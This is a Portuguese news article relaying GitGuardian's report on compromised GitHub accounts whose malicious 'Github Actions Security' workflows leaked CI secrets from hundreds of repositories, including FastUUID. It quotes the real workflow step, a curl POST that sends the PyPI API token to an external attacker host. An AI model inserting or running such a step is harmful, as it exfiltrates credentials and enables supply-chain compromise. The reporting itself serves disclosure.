Pesquisadores da GitGuardian identificaram um ataque em massa aos usuários do GitHub, resultando no controle de 327 contas e na inserção de um manipulador malicioso do GitHub Action em 817 repositórios. O ataque levou ao vazamento de 3.325 segredos utilizados em sistemas de integração contínua, transmitidos por meio de variáveis de ambiente, incluindo tokens de acesso ao PyPI, GitHub, NPM, DockerHub e vários serviços de armazenamento em nuvem.

O GitHub Actions permite que desenvolvedores anexem manipuladores para automatizar diversas operações no GitHub. Por exemplo, com o GitHub Actions, é possível realizar verificações e testes durante os commits ou automatizar o processamento de novas 'Issues'. O manipulador malicioso se espalhou sob o nome "Github Actions Security" e incluía na seção "run" o comando "curl", que enviava o conteúdo das variáveis de ambiente para um host externo ao executar tarefas em um ambiente de integração contínua. O commit malicioso foi adicionado a partir de contas de mantenedores de projetos que provavelmente foram invadidas ou se tornaram vítimas de phishing.
O ataque foi identificado após a análise de atividades anômalas relacionadas ao pacote FastUUID, que fornece uma interface Python sobre a biblioteca Rust UUID. O pacote FastUUID, que registrou quase 1,2 milhão de downloads na última semana, é utilizado como dependência em um projeto popular chamado LiteLLM, que tem mais de 5 milhões de downloads no PyPI por semana. A análise das alterações no repositório FastUUID revelou que em 2 de setembro, o mantenedor do projeto adicionou um commit com um novo manipulador do GitHub Action, que continha código para enviar um token para o repositório PyPI para um host externo. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https://bold-dhawan.45-139-104-115.plesk.page
O problema foi identificado antes que os invasores pudessem explorar o token interceptado — não foram registradas publicações de alterações maliciosas ou versões modificadas do pacote no PyPI para FastUUID. Substituições semelhantes do Github Action foram identificadas em 816 repositórios, cujos proprietários, assim como a administração do PyPI, GitHub, NPM e DockerHub, receberam notificações. Até o final da noite de ontem, os commits maliciosos foram revertidos em cerca de 100 repositórios. Atualmente, ao buscar no GitHub, são encontrados 671 commits com o Github Action malicioso.
Fonte: opennet.ru
